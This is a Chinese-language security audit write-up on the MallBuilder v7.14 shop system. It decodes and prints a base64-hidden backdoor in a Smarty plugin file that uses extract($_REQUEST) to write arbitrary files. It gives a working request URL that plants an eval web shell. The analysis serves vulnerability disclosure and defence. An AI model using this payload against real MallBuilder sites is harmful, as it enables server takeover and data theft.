审计对象:MallBuilder 多用户商城管理系统 v7.14 简体中文版
MallBuilder下载地址:http://down.admin5.com/php/98938.html
参考文章:远丰集团旗下CMS疑有官方后门
payload:/mallbuilder/lib/smarty/plugins/modifier.config.php?codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=XiaoZe.php&codelock_masterdata=<?php @eval($_POST[X]);?>
漏洞发生在/lib/smarty/plugins/function.php文件中,经过base64加密过的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?PHP $codelock_rfiled=dirname(__FILE__); if ($codelock_file == '') { echo "<font face='verdana' size='2'><br><b>Error!</b> You cannot run codelock directly...</font>"; die(); } else {} $codelock_lock="好长一串base64加密的php代码"; eval(base64_decode($codelock_lock)); return; ?>
|
解密base64代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php $codelock_active_key = "loveb2bbuilder"; @extract($_REQUEST); error_reporting(E_ALL ^ E_NOTICE); if ($codelock_act >= 1) { } else { @set_time_limit(240); } if ($codelock_enc == "") { $codelock_enc="codelock.php"; } else {} if ($codelock_act >= 1) { $codelock_testsize=@filesize($codelock_filed/$codelock_enc); if($codelock_testsize != $codelock_mastersize){ @chmod("$codelock_filed/$codelock_enc", 0777); if (@copy ("$codelock_rfiled/$codelock_enc","$codelock_filed/$codelock_enc")){} else{ $codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb"); if ($codelock_fp2) { } else { @unlink($codelock_filed/$codelock_enc); $codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb"); } if ($codelock_fp2) { @fwrite($codelock_fp2, $codelock_masterdata); @fclose($codelock_fp2); } } @chmod("$codelock_enc", 0777); ......
|
解密后立马看到这句代码:@extract($_REQUEST);
,不恰当使用extract()函数通常会导致变量覆盖漏洞,这里正是将用户提交的REQUEST数据全部注册成变量,如果这行代码之后的变量代码未对其赋值,那么这些变量全都可以由用户来操控。
在第七个if语句中,我们可以看到代码将$codelock_masterdata
的内容写入$codelock_fp2
文件中,而这两个变量完全可以由用户控制。还有一点,$codelock_masterdata
变量只在这段base64加密过的代码中出现过,并且未对其赋值,其他地方完全没有使用到,这估计也是为什么作者说疑似官方留的后门了。想要执行这段if语句的逻辑也很好实现,剩下的就是找到调用这个php文件的地方。我们可以使用seay代码审计系统来搜索一下调用该文件的代码。
最终,我们发现/lib/smarty/plugins/modifier.config.php文件中调用了,代码如下:
1 2 3 4 5 6 7 8 9 10
| <?PHP $thisweb_root=substr(dirname(__FILE__), 0, -19); $codelock_enc="function.php"; $codelock_file="modifier.config.php"; $codelock_frun=''; $codelock_fixpath=''; $codelock_filed=dirname(__FILE__); include($codelock_filed."/function.php"); return; ?>
|
访问链接:http://localhost/lib/smarty/plugins/modifier.config.php?codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=shell.php&codelock_masterdata=
在/lib/smarty/plugins/目录下将生成shell.php文件,内容为<?php phpinfo();?>